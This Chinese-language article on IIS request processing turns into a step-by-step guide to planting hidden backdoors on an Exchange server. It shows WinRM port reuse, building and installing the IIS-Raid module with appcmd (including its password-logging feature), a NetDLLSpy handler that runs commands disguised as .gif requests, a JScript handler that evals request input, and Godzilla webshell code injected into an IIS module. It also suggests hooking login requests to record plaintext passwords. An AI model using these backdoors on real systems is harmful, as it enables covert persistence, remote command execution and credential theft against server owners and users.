提及.net安全我们绕不开对iis的研究，复杂的.net应用往往除了像传统web应用有index.*或mvc中有路由控制器等概念存在，还包含module，hanlder，application等概念的存在。对于iis的配置也是比较复杂的。通过这篇文章，我们希望能明确iis是如何处理一个请求，并了解在请求的过程中有哪些技术可以在渗透测试中应用。 微软官方给出的IIS Request Processing给出几点简单的说明，其中包含几个关键部分：
这个名词相信大家都不陌生，AWVS扫描的报告里经常会出现HTTP.sys远程代码执行漏洞，而利用结果就是打蓝屏，一般也不会去测试。微软官方在Introduction to IIS Architectures对HTTP.sys的介绍：
我们可以得到一些有效信息，如：1.网络请求到达HTTP.sys之后，经过一系列处理，再交由IIS进行处理。2.http.sys工作在内核上，性能很高。
请求进入iis的请求队列后，交由对应的w3wp.exe进程进行处理，如下图：
W3wp根据请求的文件后缀，判断类型后，交由不同的逻辑进行处理，也就是最上面提及的ASP,ISAPI,CGI等。在这之前还有对请求的一系列处理，包括匿名请求处理，日志记录等。W3WP相关的配置一般在C:\Windows\System32\inetsrv\config\applicationHost.config，我们在可以看到一些对请求的修饰及处理：
同样在applicationHost.config里我们可以看到将.aspx文件交由isapi进行处理：
Aspnet_isapi.dll由c编写，为iis的模块。我们在.net目录C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config下也可以看到一个web.config,其中也有isapi的映射关系：
对应后缀对应c#的一些type，相对操作空间大一些。
在上面我们可以看到对于.aspx文件最后由System.Web.UI.PageHandlerFactory进行处理，该类根据后缀生成对应的webhanlder来处理请求。对于hanlder我们也不会陌生，常见的ashx就是通过继承handler来实现的。此外我们发现配置文件中还有很多modules的存在。关于module和handler的关系，微软也有明确说明：
每个请求都会经过多个module来处理，最后交由一个handler进行处理。结合前面默认module所带的功能，我们能感觉到module一般是做类似修饰请求、预检请求之类的工作。
确实如此，但笔者之前这里有一个误区，以前一直以为module在hanlder之前触发，现在看来都能触发。也就是说module也可以修改响应包。 配置文件中module的格式：
<httpModules>
<add type="[COM+ Class], [Assembly]" name="[ModuleName]" />
<remove type="[COM+ Class], [Assembly]" name="[ModuleName]" />
<clear />
</httpModules>
配置文件中hanlder的格式：
<httpHandlers>
<add verb="[verb list]" path="[path/wildcard]" type="[COM+ Class], [Assembly]" validate="[true/false]" />
<remove verb="[verb list]" path="[path/wildcard]" />
<clear />
</httpHandlers>
此外还有Application的概念：
我们可以看到继承了IhttpAsyncHanlder和IHttpHanler，实际上最终也是hanlder。 包括Page对象，同样继承了handler，这在冰蝎中也有应用
IIS整体的请求如下图：
1.用户访问请求到达HTTP.SYS。2.通过svchost.exe加载applicationhost.config，其中包括请求预处理的module和iaspi映射关系 3.经过w3wp执行modules，移交给.net进行处理。 对应版本的.net根据自身配置定义isapi，加载修饰请求的module移交给对应的hanlder进行处理。
主要是可以和iis进行端口复用。注册一个新的url端点不影响原本iis web应用的使用，下面是几种利用方式： 1.修改横向移动手段winrm的默认端口为443与IIS进行端口复用，实现隐蔽后门：https://paper.seebug.org/1692/ 2.通过c#反序列化漏洞直接植入listener内存后门：https://www.zcgonvh.com/post/analysis\_of\_CVE-2020-17144\_and\_to\_weaponizing.html 3.DotNet core 端口复用样例:https://docs.microsoft.com/en-us/aspnet/core/fundamentals/servers/httpsys?view=aspnetcore-6.0
在http.sys处理完后交给iis模块处理，主要由c++实现，可hook所有到达iis的请求：https://github.com/0x09AL/IIS-Raid 配置方法主要通过修改C:\Windows\System32\inetsrv\config\applicationHost.config或appcmd命令实现。 以前好像看过文章很多黑产团队喜欢用这种后门，因为可以进行定制化的功能。比如判断ua或者源ip等条件，符合条件才响应，否则是正常的功能。一些应急响应的案例：https://www.wangan.com/p/7fy7fx50f86cc16b https://www.wangan.com/p/7fygf3190c55a165 目前该方法已被att&ck归类：https://attack.mitre.org/techniques/T1505/004/
在.net处理层面修改某后缀处理的hanlder：https://github.com/Ivan1ee/NetDLLSpy 配置方法主要通过修改对应版本的.net配置文件C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config实现。 目前该方法已被att&ck归类：https://attack.mitre.org/techniques/T1505/004/
除了在iis的配置上做手脚，web应用本身也支持module的功能修饰请求：https://github.com/WBGlIl/IIS\_backdoor 主要通过将该dll放入web应用的dll目录，并修改目录下的web.config的modules属性配置。 使用C#开发IIS模块后门:https://y4er.com/posts/using-csharp-to-develop-the-iis-module-backdoor/#
从部署后门的角度考虑，我们需要明白每个后门在什么环节触发，找到合适的方法才能在不影响网站功能的情况下hook请求或实现隐蔽后门。 这些手段不仅仅实现后门功能，hook请求在红队活动中也有很大作用。我们可以hook登录请求从而记录用户的明文密码，这种方式比js挂马的记录更隐蔽。 从代码审计的角度考虑，我们除了要关注web目录下的文件，要明白请求还经过iis的module，c#的module，应用的module三重额外修饰。甚至有些应用完全依靠module来实现，比如Microsoft exchange Server。
Windows 远程管理是 Windows 硬件管理功能的一个组件，通过该组件，可以对Windows 主机进行远程管理，因为WinRM基于http作为底层数据交换，所以流量会经过http.sys驱动。而通过http.sys的特性可以实现端口复用，从而将WinRM后门隐藏在正常的web通讯中。
目标机器:windows2012，Win2012及以上版本中默认开启了WinRM服务
http.sys可以使用相同的端口，只需要他们的网址前缀（urlprefixes）不相同，即可做到端口复用。使用下面的语句可以查看当前http.sys中注册的所有网址前缀。 netsh http show servicestate | findstr /r "Server\ Session HTTP" 通过下图，表明存在三个网址前缀，其中5985为WinRM服务所建立的前缀，80端口为IIS中默认页面的网址前缀。
基于http.sys的端口共享的特性只需要将WinRM的端口修改为80端口，即可做到端口复用。
修改WinRM服务的端口为80 winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
通过再次查看网址前缀，发现已经修改为80/WSMAN
此时通过在浏览器中访问80端口，即可访问到IIS页面，而通过winRM的客户端，即可通过80端口使用wirm执行远程Windows系统命令。
根据《IIS请求流程和渗透测试中的应用》中讲解，在IIS处理web请求的时候，先通过http.sys处理之后，再到后面的svchost和w3wp进行处理。那么根据处理流程， 在http.sys处理完后交给iis模块处理，主要由c++实现，可hook所有到达iis的请求。
项目地址：https://github.com/0x09AL/IIS-Raid
在Function.h中的PASSWORD字段，默认密码为SIMPLEPASS
防止自己布置的后门被其他人利用，尝试修改成自己的密码。
Visual Studio 2017 打开之后 文件-打开-项目/解决方案，选择 IISRaid-modules-IIS-Backdoor.vcxproj
注意：
选中项目出现以下问题的时候，需要选择 项目-属性，修改 平台工具集选择Visual Studio 2017 (v141)，应用-确定。
修改完成之后即可完成编译。
在x64-Relese下找到该编译成功的dll后门。
成功编译。
在192.168.91.20的exchange上留一个蚁剑的shell
连接的时候注意勾选忽略https证书。上传编译好的dll文件。
shell执行
C:\Windows\system32\inetsrv\APPCMD.EXE install module /name:Module /image:"c:\IIS-Backdoor.dll" /add:true
此时，即完成dll部署。
尝试客户端连接服务端。
python3 iis_controller.py --url htts://192.168.91.20 --password SIMPLEPASS
此时脚本执行报错。原因是原始的项目脚本中没有针对证书做验证，简单修改一下代码，忽略证书认证。
在50和52行的GET和POST请求后加上verify=False以忽略https证书。如下图：
此时再去执行脚本。成功执行。
因为这个请求在http.sys这一步被hook，就是iis是正常的话，无所谓证书与否。命令改为
python3 iis_controller.py --url http://192.168.91.20 --password SIMPLEPASS
代码判断状态码不为200就退出，判断逻辑存在问题，403是应用程序给的响应，但是iis后门只需要iis能正常运行即可使用，所以删掉这段判断逻辑。
修改完连接成功并执行命令成功。
在执行结果带中文的时候，脚本会报错，主要是因为python3的原因，可以将此处的utf-8改为gb2312
正常执行。
该后门还有一个记住密码的功能，主要是对POST请求发送的数据进行记录，记录在C:\\Windows\\Temp\\creds.db
但是因为exchange的请求不是常规的基于表单的认证，basic或ntlm认证，所以这里curl发送一个post请求
在exchange服务器上出现该新增文件。
同时后门也能进行记录的获取。
项目地址：https://github.com/Ivan1ee/NetDLLSpy
操作环境：server 2016 + exchange 以exchange的owa模块来部署后门 部署路径
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth
新建bin目录，将项目中已经编译好的dll放入。
在该路径下新建一个web.config文件，文件内容
在iis的映射管理来看，恶意的dll伪装成正常的功能
此时在auth下访问任意的gif文件（只要结尾是gif即可）
尝试使用dll功能
https://192.168.91.20/owa/auth/1.gif?a=c&p=cmd.txt&c=ipconfig
图片显示正常
在服务器目录下生成了一个cmd.txt
内容为我们执行的ipconfig的命令结果
与上一步操作大同小异 自己编译一下c#代码
import System;
import System.Web;
import System.IO;
package IsapiModu1e
{
public class Handler implements IHttpHandler
{
function IHttpHandler.ProcessRequest(context : HttpContext)
{
context.Response.Write("If i am DJ,Will u love me")
var I = context; var Request = I.Request; var Response = I.Response; var Server = I.Server; eval(context.Request[1]); } function get IHttpHandler.IsReusable() : Boolean{ return true}}}
C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe /t:library -out:C:\Users\Administrator\Desktop\IsapiModu1e.Handler.dll C:\Users\Administrator\Desktop\IsapiModu1e.Handler.js 编译成dll文件，并放在owa的bin文件夹下。
修改auth目录下的web.config文件
访问 https://192.168.91.20/owa/auth/xxxxx.gif
蚁剑直接连接
之前完成了IIS-RAID后门的实验，除了在iis的配置上做手脚，web应用本身也支持module的功能修饰请求。 https://github.com/WBGlIl/IIS\_backdoor
原始项目的部分代码，如上图。主要在部署完dll之后，通过cookie的值中获取命令值，是cmd还是powershell，还是加载shellcode。最简单在这个逻辑之前插入一段哥斯拉代码来适配哥斯拉客户端，客户端能直接连接。生成原始的哥斯拉的aspx后门，密钥密码加密方式都是默认。
直接插入到原始项目的逻辑之前。注意修改哥斯拉shell中的Context变量名称和原始函数中定义的统一。
之后直接编译成dll，在exchange的owa目录下新建一个bin文件夹。将dll上传
修改web.config内容，在标签中插入 <add name="IIS_backdoor" type="IIS_backdoor_dll.IISModule" />
之后访问我们的exchange的owa/auth接口 浏览器报500，表示dll已经成功加载。
此时直接通过哥斯拉客户端去连接。
成功连接。